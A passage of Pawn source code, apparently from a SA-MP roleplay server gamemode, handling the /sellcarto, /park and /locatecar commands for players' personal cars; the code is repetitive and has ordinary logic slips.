				if(GetPlayerPool(taraf) < pil) {format(string,sizeof string,"That player just has $%s",FormatNumber(GetPlayerPool(taraf)));return SCM(playerid,COLOR_YELLOW,string);}
				OnSellCar[playerid] = taraf;
				OwnableCarOffer[taraf] = playerid;
				OwnablePriceModel[taraf] = pil;
				OwnableCarID[taraf] = PINFO[playerid][pCar_1];
				OwnableCarMethod[taraf] = 1;
				pVeh[taraf] = PlayerInfo[playerid][pVeh1];
				format(string,sizeof string,"You are called for a sellcar to %s, Price: %s, wait for a reply, if you want to cancel it use /cancel sellcarto.",PINFO[taraf][pName], FormatNumber(pil));
				SCM(playerid,COL_SYN,string);
				format(string,sizeof string,"%s wants to sell their car to you, Price: %s, if you accept use /[acc]ept personalcar %d.",PINFO[playerid][pName], FormatNumber(pil), playerid);
				SCM(taraf,COL_SYN,string);
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_2])
			{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sellcarto <Playerid/PartOfName> <Price>");
				new taraf = ReturnUser6(tmp);
				if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
				if(!ProxDetectorS(5.0, playerid, taraf)) return SCM(playerid,COLOR_SINA3,"You must near this player.");
				if(PINFO[taraf][pLevel] <= 4) return SCM(playerid,COLOR_SINA3,"That player must has more than 5 levels.");
				if(PINFO[taraf][pPremiumAccount] == 0 && PINFO[taraf][pCar_1] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has 1 personal car.");
				if(PINFO[taraf][pPremiumAccount] == 1 && PINFO[taraf][pCar_1] != 0 && PINFO[taraf][pCar_2] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has 2 personal cars.");
				//if(PINFO[taraf][pPremiumAccount] == 2 && PINFO[taraf][pCar_1] != 0 && PINFO[taraf][pCar_2] != 0 && PINFO[taraf][pCar_3] != 0 && PINFO[taraf][pCar_4] != 0  && PINFO[taraf][pCar_5] != 0  && PINFO[taraf][pCar_6] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has personal car.");
				if(OnSellCar[playerid] == taraf) return SCM(playerid,COLOR_SINA3,"You already called for a sellcar to this player, wait for a reply.");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sellcarto <Playerid/PartOfName> <Price>");
				new pil = strval(tmp);
				if(pil <= -1 || pil >= 100000000) return SCM(playerid,COLOR_SINA3,"Price must be between $0 and $100,000,000");
				if(GetPlayerPool(taraf) < pil) {format(string,sizeof string,"That player just has $%s",FormatNumber(GetPlayerPool(taraf)));return SCM(playerid,COLOR_YELLOW,string);}
				OnSellCar[playerid] = taraf;
				OwnableCarOffer[taraf] = playerid;
				OwnablePriceModel[taraf] = pil;
				OwnableCarID[taraf] = PINFO[playerid][pCar_2];
				OwnableCarMethod[taraf] = 2;
				pVeh[taraf] = PlayerInfo[playerid][pVeh2];
				format(string,sizeof string,"You are called for a sellcar to %s, Price: %s, wait for a reply, if you want to cancel it use /cancel sellcarto.",PINFO[taraf][pName], FormatNumber(pil));
				SCM(playerid,COL_SYN,string);
				format(string,sizeof string,"%s wants to sell their car to you, Price: %s, if you accept use /[acc]ept personalcar %d.",PINFO[playerid][pName], FormatNumber(pil), playerid);
				SCM(taraf,COL_SYN,string);
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_3])
			{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sellcarto <Playerid/PartOfName> <Price>");
				new taraf = ReturnUser6(tmp);
				if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
				if(!ProxDetectorS(5.0, playerid, taraf)) return SCM(playerid,COLOR_SINA3,"You must near this player.");
				if(PINFO[taraf][pLevel] <= 4) return SCM(playerid,COLOR_SINA3,"That player must has more than 5 levels.");
				if(PINFO[taraf][pPremiumAccount] == 0 && PINFO[taraf][pCar_1] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has 1 personal car.");
				if(PINFO[taraf][pPremiumAccount] == 1 && PINFO[taraf][pCar_1] != 0 && PINFO[taraf][pCar_2] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has 2 personal cars.");
				//if(PINFO[taraf][pPremiumAccount] == 2 && PINFO[taraf][pCar_1] != 0 && PINFO[taraf][pCar_2] != 0 && PINFO[taraf][pCar_3] != 0 && PINFO[taraf][pCar_4] != 0  && PINFO[taraf][pCar_5] != 0  && PINFO[taraf][pCar_6] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has personal car.");
				if(OnSellCar[playerid] == taraf) return SCM(playerid,COLOR_SINA3,"You already called for a sellcar to this player, wait for a reply.");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sellcarto <Playerid/PartOfName> <Price>");
				new pil = strval(tmp);
				if(pil <= -1 || pil >= 100000000) return SCM(playerid,COLOR_SINA3,"Price must be between $0 and $100,000,000");
				if(GetPlayerPool(taraf) < pil) {format(string,sizeof string,"That player just has $%s",FormatNumber(GetPlayerPool(taraf)));return SCM(playerid,COLOR_YELLOW,string);}
				OnSellCar[playerid] = taraf;
				OwnableCarOffer[taraf] = playerid;
				OwnablePriceModel[taraf] = pil;
				OwnableCarID[taraf] = PINFO[playerid][pCar_3];
				OwnableCarMethod[taraf] = 3;
				pVeh[taraf] = PlayerInfo[playerid][pVeh3];
				format(string,sizeof string,"You are called for a sellcar to %s, Price: %s, wait for a reply, if you want to cancel it use /cancel sellcarto.",PINFO[taraf][pName], FormatNumber(pil));
				SCM(playerid,COL_SYN,string);
				format(string,sizeof string,"%s wants to sell their car to you, Price: %s, if you accept use /[acc]ept personalcar %d.",PINFO[playerid][pName], FormatNumber(pil), playerid);
				SCM(taraf,COL_SYN,string);
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_4])
			{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sellcarto <Playerid/PartOfName> <Price>");
				new taraf = ReturnUser6(tmp);
				if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
				if(!ProxDetectorS(5.0, playerid, taraf)) return SCM(playerid,COLOR_SINA3,"You must near this player.");
				if(PINFO[taraf][pLevel] <= 4) return SCM(playerid,COLOR_SINA3,"That player must has more than 5 levels.");
				if(PINFO[taraf][pPremiumAccount] == 0 && PINFO[taraf][pCar_1] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has 1 personal car.");
				if(PINFO[taraf][pPremiumAccount] == 1 && PINFO[taraf][pCar_1] != 0 && PINFO[taraf][pCar_2] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has 2 personal cars.");
				//if(PINFO[taraf][pPremiumAccount] == 2 && PINFO[taraf][pCar_1] != 0 && PINFO[taraf][pCar_2] != 0 && PINFO[taraf][pCar_3] != 0 && PINFO[taraf][pCar_4] != 0  && PINFO[taraf][pCar_5] != 0  && PINFO[taraf][pCar_6] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has personal car.");
				if(OnSellCar[playerid] == taraf) return SCM(playerid,COLOR_SINA3,"You already called for a sellcar to this player, wait for a reply.");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sellcarto <Playerid/PartOfName> <Price>");
				new pil = strval(tmp);
				if(pil <= -1 || pil >= 100000000) return SCM(playerid,COLOR_SINA3,"Price must be between $0 and $100,000,000");
				if(GetPlayerPool(taraf) < pil) {format(string,sizeof string,"That player just has $%s",FormatNumber(GetPlayerPool(taraf)));return SCM(playerid,COLOR_YELLOW,string);}
				OnSellCar[playerid] = taraf;
				OwnableCarOffer[taraf] = playerid;
				OwnablePriceModel[taraf] = pil;
				OwnableCarID[taraf] = PINFO[playerid][pCar_4];
				OwnableCarMethod[taraf] = 4;
				pVeh[taraf] = PlayerInfo[playerid][pVeh4];
				format(string,sizeof string,"You are called for a sellcar to %s, Price: %s, wait for a reply, if you want to cancel it use /cancel sellcarto.",PINFO[taraf][pName], FormatNumber(pil));
				SCM(playerid,COL_SYN,string);
				format(string,sizeof string,"%s wants to sell their car to you, Price: %s, if you accept use /[acc]ept personalcar %d.",PINFO[playerid][pName], FormatNumber(pil), playerid);
				SCM(taraf,COL_SYN,string);
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_5])
			{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sellcarto <Playerid/PartOfName> <Price>");
				new taraf = ReturnUser6(tmp);
				if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
				if(!ProxDetectorS(5.0, playerid, taraf)) return SCM(playerid,COLOR_SINA3,"You must near this player.");
				if(PINFO[taraf][pLevel] <= 4) return SCM(playerid,COLOR_SINA3,"That player must has more than 5 levels.");
				if(PINFO[taraf][pPremiumAccount] == 0 && PINFO[taraf][pCar_1] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has 1 personal car.");
				if(PINFO[taraf][pPremiumAccount] == 1 && PINFO[taraf][pCar_1] != 0 && PINFO[taraf][pCar_2] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has 2 personal cars.");
				//if(PINFO[taraf][pPremiumAccount] == 2 && PINFO[taraf][pCar_1] != 0 && PINFO[taraf][pCar_2] != 0 && PINFO[taraf][pCar_3] != 0 && PINFO[taraf][pCar_4] != 0  && PINFO[taraf][pCar_5] != 0  && PINFO[taraf][pCar_6] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has personal car.");
				if(OnSellCar[playerid] == taraf) return SCM(playerid,COLOR_SINA3,"You already called for a sellcar to this player, wait for a reply.");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sellcarto <Playerid/PartOfName> <Price>");
				new pil = strval(tmp);
				if(pil <= -1 || pil >= 100000000) return SCM(playerid,COLOR_SINA3,"Price must be between $0 and $100,000,000");
				if(GetPlayerPool(taraf) < pil) {format(string,sizeof string,"That player just has $%s",FormatNumber(GetPlayerPool(taraf)));return SCM(playerid,COLOR_YELLOW,string);}
				OnSellCar[playerid] = taraf;
				OwnableCarOffer[taraf] = playerid;
				OwnablePriceModel[taraf] = pil;
				OwnableCarID[taraf] = PINFO[playerid][pCar_5];
				OwnableCarMethod[taraf] = 5;
				pVeh[taraf] = PlayerInfo[playerid][pVeh5];
				format(string,sizeof string,"You are called for a sellcar to %s, Price: %s, wait for a reply, if you want to cancel it use /cancel sellcarto.",PINFO[taraf][pName], FormatNumber(pil));
				SCM(playerid,COL_SYN,string);
				format(string,sizeof string,"%s wants to sell their car to you, Price: %s, if you accept use /[acc]ept personalcar %d.",PINFO[playerid][pName], FormatNumber(pil), playerid);
				SCM(taraf,COL_SYN,string);
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_6])
			{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sellcarto <Playerid/PartOfName> <Price>");
				new taraf = ReturnUser6(tmp);
				if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
				if(!ProxDetectorS(5.0, playerid, taraf)) return SCM(playerid,COLOR_SINA3,"You must near this player.");
				if(PINFO[taraf][pLevel] <= 4) return SCM(playerid,COLOR_SINA3,"That player must has more than 5 levels.");
				if(PINFO[taraf][pPremiumAccount] == 0 && PINFO[taraf][pCar_1] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has 1 personal car.");
				if(PINFO[taraf][pPremiumAccount] == 1 && PINFO[taraf][pCar_1] != 0 && PINFO[taraf][pCar_2] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has 2 personal cars.");
				//if(PINFO[taraf][pPremiumAccount] == 2 && PINFO[taraf][pCar_1] != 0 && PINFO[taraf][pCar_2] != 0 && PINFO[taraf][pCar_3] != 0 && PINFO[taraf][pCar_4] != 0  && PINFO[taraf][pCar_5] != 0  && PINFO[taraf][pCar_6] != 0) return SCM(playerid,COLOR_SINA3,"That player is already has personal car.");
				if(OnSellCar[playerid] == taraf) return SCM(playerid,COLOR_SINA3,"You already called for a sellcar to this player, wait for a reply.");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sellcarto <Playerid/PartOfName> <Price>");
				new pil = strval(tmp);
				if(pil <= -1 || pil >= 100000000) return SCM(playerid,COLOR_SINA3,"Price must be between $0 and $100,000,000");
				if(GetPlayerPool(taraf) < pil) {format(string,sizeof string,"That player just has $%s",FormatNumber(GetPlayerPool(taraf)));return SCM(playerid,COLOR_YELLOW,string);}
				OnSellCar[playerid] = taraf;
				OwnableCarOffer[taraf] = playerid;
				OwnablePriceModel[taraf] = pil;
				OwnableCarID[taraf] = PINFO[playerid][pCar_6];
				OwnableCarMethod[taraf] = 6;
				pVeh[taraf] = PlayerInfo[playerid][pVeh6];
				format(string,sizeof string,"You are called for a sellcar to %s, Price: %s, wait for a reply, if you want to cancel it use /cancel sellcarto.",PINFO[taraf][pName], FormatNumber(pil));
				SCM(playerid,COL_SYN,string);
				format(string,sizeof string,"%s wants to sell their car to you, Price: %s, if you accept use /[acc]ept personalcar %d.",PINFO[playerid][pName], FormatNumber(pil), playerid);
				SCM(taraf,COL_SYN,string);
				return 1;
			}
			else return SCM(playerid,COLOR_SINA3,"You must sit on your vehicle.");
		}
		if(strcmp(cmd, "/park", true) == 0)
		{
			if(PINFO[playerid][pVeh1] == 0 && PINFO[playerid][pVeh2] == 0 && PINFO[playerid][pVeh3] == 0 && PINFO[playerid][pVeh4] == 0 && PINFO[playerid][pVeh5] == 0 && PINFO[playerid][pVeh6] == 0) return SCM(playerid,COL_SYN,"You haven't a personal car.");
			if(GetPlayerInterior(playerid) != 0) return SCM(playerid, COLOR_SINA3, "You can't do it here.");

			new Float:x,Float:y,Float:z;
			new Float:a;
			new carid = GetPlayerVehicleID(playerid);
			new fill = Benzin[carid];
			GetVehiclePos(carid, x, y, z);
			GetVehicleZAngle(carid, a);
			new Float:vh;GetVehicleHealth(carid,vh);
			if(vh < 249.9 || ImInTuning[playerid]!=0) return SCM(playerid,COLOR_SINA3,"You cannot do it now.");
//			new owner = playerid;
			new vown = playerid;
			new v;
			new pcar;
			new mod;
			new zx[512];
			if(carid == PINFO[vown][pCar_1]) {v = PINFO[vown][pVeh1];pcar = PINFO[vown][pCar_1];zx = "pCar_1";mod = 1;}
			else if(carid == PINFO[vown][pCar_2]) {v = PINFO[vown][pVeh2];pcar = PINFO[vown][pCar_2];zx = "pCar_2";mod = 2;}
			else if(carid == PINFO[vown][pCar_3]) {v = PINFO[vown][pVeh3];pcar = PINFO[vown][pCar_3];zx = "pCar_3";mod = 3;}
			else if(carid == PINFO[vown][pCar_4]) {v = PINFO[vown][pVeh4];pcar = PINFO[vown][pCar_4];zx = "pCar_4";mod = 4;}
			else if(carid == PINFO[vown][pCar_5]) {v = PINFO[vown][pVeh5];pcar = PINFO[vown][pCar_5];zx = "pCar_5";mod = 5;}
			else if(carid == PINFO[vown][pCar_6]) {v = PINFO[vown][pVeh6];pcar = PINFO[vown][pCar_6];zx = "pCar_6";mod = 6;}

			if(carid == pcar)
			{
			/*
		    new PlayersSeat[MAX_PLAYERS];
		    for(new i=0;i<100;i++)
        	{
        	    PlayersSeat[i] = -1;
				if(IsPlayerConnected(i) && IsPlayerInAnyVehicle(i) && GetPlayerVehicleID(i) == GetPlayerVehicleID(playerid))
				{
				    PlayersSeat[i] = GetPlayerVehicleSeat(i);
				}
			}
			*/
				GetVehicleDamageStatus(carid,vInfo[v][cPanel],vInfo[v][cDoors],vInfo[v][cLights],vInfo[v][cTires]);
				SaveKonValV(v, "cPanel", vInfo[v][cPanel]);
				SaveKonValV(v, "cDoors", vInfo[v][cDoors]);
				SaveKonValV(v, "cLights", vInfo[v][cLights]);
				SaveKonValV(v, "cTires", vInfo[v][cTires]);
				vInfo[v][cHealth] = vh;
				SaveKonFloatV(v, "cHealth", vh);
				vInfo[v][cLocationx] = x;
				SaveKonFloatV(v, "cLocationx", x);
				vInfo[v][cLocationy] = y;
				SaveKonFloatV(v, "cLocationy", y);
				vInfo[v][cLocationz] = z;
				SaveKonFloatV(v, "cLocationz", z);
				vInfo[v][cAngle] = a;
				SaveKonFloatV(v, "cAngle", a);
				GameTextForPlayer(playerid, "vehicle ~n~~w~has saved in the position", 5000, 1);
				PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
				//SaveAccount(playerid);
				MashinOwner[carid] = 9999;
				DestroyVehicle(carid, true);
				OwnedMashin[carid] = 0;
				new model = vInfo[v][cModel];
				new Float:posx = vInfo[v][cLocationx];
				new Float:posy = vInfo[v][cLocationy];
				new Float:posz = vInfo[v][cLocationz];
				new Float:angle = vInfo[v][cAngle];
				new color1 = vInfo[v][cColor1];
				new color2 = vInfo[v][cColor2];
				new caris = CreateVehicle(model,posx,posy,posz,angle,color1,color2,-1);
				OwnedMashin[caris] = 1;
				MashinOwner[caris] = playerid;
				SetVehicleNumberPlate(caris,vInfo[v][cPlate]);
				pcar = caris;
				if(mod == 1) {PlayerInfo[playerid][pCar_1] = caris;SaveKonVal(playerid, "pCar_1", caris);}
				else if(mod == 2) {PlayerInfo[playerid][pCar_2] = caris;SaveKonVal(playerid, "pCar_2", caris);}
				else if(mod == 3) {PlayerInfo[playerid][pCar_3] = caris;SaveKonVal(playerid, "pCar_3", caris);}
				else if(mod == 4) {PlayerInfo[playerid][pCar_4] = caris;SaveKonVal(playerid, "pCar_4", caris);}
				else if(mod == 5) {PlayerInfo[playerid][pCar_5] = caris;SaveKonVal(playerid, "pCar_5", caris);}
				else if(mod == 6) {PlayerInfo[playerid][pCar_6] = caris;SaveKonVal(playerid, "pCar_6", caris);}
				//PINFO[playerid][zx] = caris;
				//SaveKonVal(playerid, zx, caris);
				Benzin[caris] = fill;
				SetVehicleHealth(caris,vInfo[v][cHealth]);
				ModVehicle(playerid,caris);
				UpdateVehicleDamageStatus(caris,vInfo[v][cPanel],vInfo[v][cDoors],vInfo[v][cLights],vInfo[v][cTires]);
				PutPlayerInVehicle(playerid, caris, 0);
				/*
				for(new i=0;i<100;i++)
			    {
			    if(IsPlayerConnected(i) && PlayersSeat[i] != -1)
			    {
			        PutPlayerInVehicleEx(i, caris, PlayersSeat[i]);
			        //PlayerTextDrawSetString(i,LockTD,"Status:~r~ Locked");
			    }
			    }
*/

			}

			else return SCM(playerid,COLOR_SINA3,"You must sit on your vehicle.");
			return 1;
		}
		if(strcmp(cmd,"/locatecar",true)==0)
		{
			if(PINFO[playerid][pVeh1] == 0 && PINFO[playerid][pVeh2] == 0 && PINFO[playerid][pVeh3] == 0 && PINFO[playerid][pVeh4] == 0 && PINFO[playerid][pVeh5] == 0 && PINFO[playerid][pVeh6] == 0) return SCM(playerid,COL_SYN,"You haven't a personal car.");
			if(OnCheckpoint[playerid] == 1) return SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");


			new v1 = PINFO[playerid][pVeh1];
			new v2 = PINFO[playerid][pVeh2];
			new v3 = PINFO[playerid][pVeh3];
			new v4 = PINFO[playerid][pVeh4];
			new v5 = PINFO[playerid][pVeh5];
			new v6 = PINFO[playerid][pVeh6];
				if(v1 != 0 && v2 == 0 && v3 == 0 && v4 == 0 && v5 == 0 && v6 == 0)
				{
					if(vInfo[v1][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_1];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(v1 == 0 && v2 != 0 && v3 == 0 && v4 == 0 && v5 == 0 && v6 == 0)
				{
					if(vInfo[v2][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_2];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(v1 == 0 && v2 == 0 && v3 != 0 && v4 == 0 && v5 == 0 && v6 == 0)
				{
					if(vInfo[v3][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_3];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(v1 == 0 && v2 == 0 && v3 == 0 && v4 != 0 && v5 == 0 && v6 == 0)
				{
					if(vInfo[v4][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_4];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(v1 == 0 && v2 == 0 && v3 == 0 && v4 == 0 && v5 != 0 && v6 == 0)
				{
					if(vInfo[v5][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_5];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(v1 == 0 && v2 == 0 && v3 == 0 && v4 == 0 && v5 == 0 && v6 != 0)
				{
					if(vInfo[v6][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_6];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if((v1 != 0 && v2 != 0) || (v1 != 0 && v3 != 0) || (v1 != 0 && v4 != 0) || (v1 != 0 && v5 != 0) || (v1 != 0 && v6 != 0))
				{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /locatecar <CarID(1-2)>");
				new ccr = strval(tmp);
				if(ccr < 0 && ccr > 6) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 1 && PINFO[playerid][pCar_1] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 2 && PINFO[playerid][pCar_2] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 3 && PINFO[playerid][pCar_3] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 4 && PINFO[playerid][pCar_4] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 5 && PINFO[playerid][pCar_5] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 6 && PINFO[playerid][pCar_6] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 1)
				{
					if(vInfo[v1][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_1];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 2)
				{
					if(vInfo[v2][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_2];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 3)
				{
					if(vInfo[v3][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_3];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 4)
				{
					if(vInfo[v4][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_4];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 5)
				{
					if(vInfo[v5][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_5];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 6)
				{
					if(vInfo[v6][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_6];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				}
				 else if((v2 != 0 && v3 != 0) || (v2 != 0 && v4 != 0) || (v2 != 0 && v5 != 0) || (v2 != 0 && v6 != 0) || (v3 != 0 && v4 != 0) || (v3 != 0 && v5 != 0) || (v3 != 0 && v6 != 0))
				{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /locatecar <CarID(1-2)>");
				new ccr = strval(tmp);
				if(ccr < 0 && ccr > 6) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 1 && PINFO[playerid][pCar_1] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 2 && PINFO[playerid][pCar_2] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 3 && PINFO[playerid][pCar_3] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 4 && PINFO[playerid][pCar_4] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 5 && PINFO[playerid][pCar_5] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 6 && PINFO[playerid][pCar_6] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 1)
				{
					if(vInfo[v1][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_1];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 2)
				{
					if(vInfo[v2][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_2];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 3)
				{
					if(vInfo[v3][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_3];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
